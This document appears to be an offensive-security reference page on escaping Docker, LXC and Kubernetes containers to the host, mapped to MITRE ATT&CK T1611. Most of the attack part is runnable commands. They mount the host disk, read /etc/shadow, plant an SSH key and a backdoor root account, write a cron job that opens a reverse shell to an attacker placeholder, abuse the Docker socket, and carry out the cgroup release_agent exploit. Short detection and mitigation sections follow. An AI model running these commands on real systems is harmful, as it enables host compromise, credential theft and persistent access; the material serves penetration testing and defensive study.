Container Breakout
Overview
Container breakout escapes from a Docker, LXC, or Kubernetes container to the underlying host system. Containers share the host kernel and rely on namespaces, cgroups, and capabilities for isolation. Misconfigurations — running as privileged, mounting the Docker socket, excessive capabilities, or host filesystem mounts — break this isolation and allow access to the host.
ATT&CK Mapping
- Tactic: TA0004 - Privilege Escalation
- Technique: T1611 - Escape to Host
Prerequisites
- Shell access inside a container
- Container misconfiguration (privileged mode, socket mount, host PID, etc.)
Techniques
Detection: Am I in a Container?
# Docker indicators
ls /.dockerenv 2>/dev/null && echo "Docker container detected"
cat /proc/1/cgroup 2>/dev/null | grep -i docker
# LXC/LXD indicators
cat /proc/1/cgroup 2>/dev/null | grep -i lxc
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | grep -i container
# Kubernetes indicators
env | grep -i kubernetes
ls /var/run/secrets/kubernetes.io/ 2>/dev/null
# Generic container indicators
cat /proc/1/cgroup 2>/dev/null | grep -qE 'docker|lxc|kubepods|containerd' && echo "Container"
# Very few processes (containers typically run 1-5 processes)
ps aux | wc -l
# Hostname is often a container ID (12-char hex)
hostname
Privileged Container Escape
A privileged container (docker run --privileged) has full access to host devices and can mount the host filesystem:
# Check if running in privileged mode
ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" && ip link delete dummy0
# Or check capabilities
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff = all capabilities = privileged
# Mount the host filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
ls /mnt/host/root/
cat /mnt/host/etc/shadow
# Add SSH key to host root
mkdir -p /mnt/host/root/.ssh
echo '<your_public_key>' >> /mnt/host/root/.ssh/authorized_keys
# Or add a root user to host /etc/passwd
echo 'backdoor:$1$salt$hash:0:0:root:/root:/bin/bash' >> /mnt/host/etc/passwd
# Or write a cron job on the host
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"' >> /mnt/host/etc/cron.d/backdoor
Docker Socket Escape
If the Docker socket is mounted inside the container (-v /var/run/docker.sock:/var/run/docker.sock):
# Check for Docker socket
ls -la /var/run/docker.sock 2>/dev/null
# If docker CLI is available
docker images
docker ps
# Run a new privileged container with host filesystem mounted
docker run -v /:/mnt/host --privileged -it alpine chroot /mnt/host sh
# If docker CLI is not available, use curl to interact with the socket
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool
# Create a container with host mount via API
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt/host"],"Privileged":true}'
Host PID Namespace Escape
If the container shares the host PID namespace (--pid=host):
# Check if host processes are visible
ps aux | wc -l
# If hundreds of processes are visible, host PID namespace is shared
# Access host process environment variables (may contain secrets)
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
# If nsenter is available, enter the host namespace
nsenter -t 1 -m -u -i -n -p -- /bin/bash
Capabilities-Based Escape
Containers with dangerous capabilities can escape:
# Check container capabilities
cat /proc/1/status | grep Cap
capsh --decode=<CapEff_hex_value>
# CAP_SYS_ADMIN — mount host filesystem
mount /dev/sda1 /mnt/host
# CAP_SYS_PTRACE — inject into host processes (if --pid=host)
# Use process injection on a host root process
# CAP_SYS_MODULE — load kernel module
# Kernel modules affect the host kernel, not just the container
cgroup Escape (CVE-2022-0492)
The cgroup release_agent mechanism can execute commands on the host:
# Requires: CAP_SYS_ADMIN or cgroup v1 writable
# Create a cgroup
mkdir /tmp/cgroup
mount -t cgroup -o rdma cgroup /tmp/cgroup 2>/dev/null || mount -t cgroup -o memory cgroup /tmp/cgroup
mkdir /tmp/cgroup/escape
# Set release_agent to execute a command on the host
echo 1 > /tmp/cgroup/escape/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgroup/release_agent
# Create the command to execute on the host
echo '#!/bin/sh' > /cmd
echo 'cat /etc/shadow > /output' >> /cmd
chmod +x /cmd
# Trigger the release_agent
sh -c "echo \$\$ > /tmp/cgroup/escape/cgroup.procs"
# Read the output
cat /output
Kubernetes-Specific Breakouts
# Check service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Set up kubectl with the service account
export KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export KUBE_CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export KUBE_NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# Check permissions
curl -s https://kubernetes.default.svc/api/v1/namespaces/$KUBE_NS/pods \
--header "Authorization: Bearer $KUBE_TOKEN" \
--cacert $KUBE_CA
# If the service account can create pods, deploy a privileged pod
# with host filesystem access to escape
Detection Methods
Network-Based Detection
- Container-to-host communications on Docker API (TCP 2375/2376)
- New containers spawned from within existing containers
Host-Based Detection
- Monitor Docker socket access from within containers
- Alert on new mounts of host devices (
/dev/sda*) from container processes - Monitor for
nsenterorchrootexecution targeting PID 1 - Alert on new privileged containers being created
- Monitor cgroup
release_agentmodifications
Mitigation Strategies
- Never run privileged containers — use specific capabilities instead of
--privileged - Do not mount the Docker socket — if required, use a read-only proxy
- Drop all capabilities — add only what the application needs:
--cap-drop ALL --cap-add NET_BIND_SERVICE - Use read-only root filesystem —
--read-onlyflag - Do not share host namespaces — avoid
--pid=host,--network=host,--ipc=host - Use seccomp and AppArmor profiles — restrict available syscalls
- Run as non-root —
--user 1000:1000orUSERdirective in Dockerfile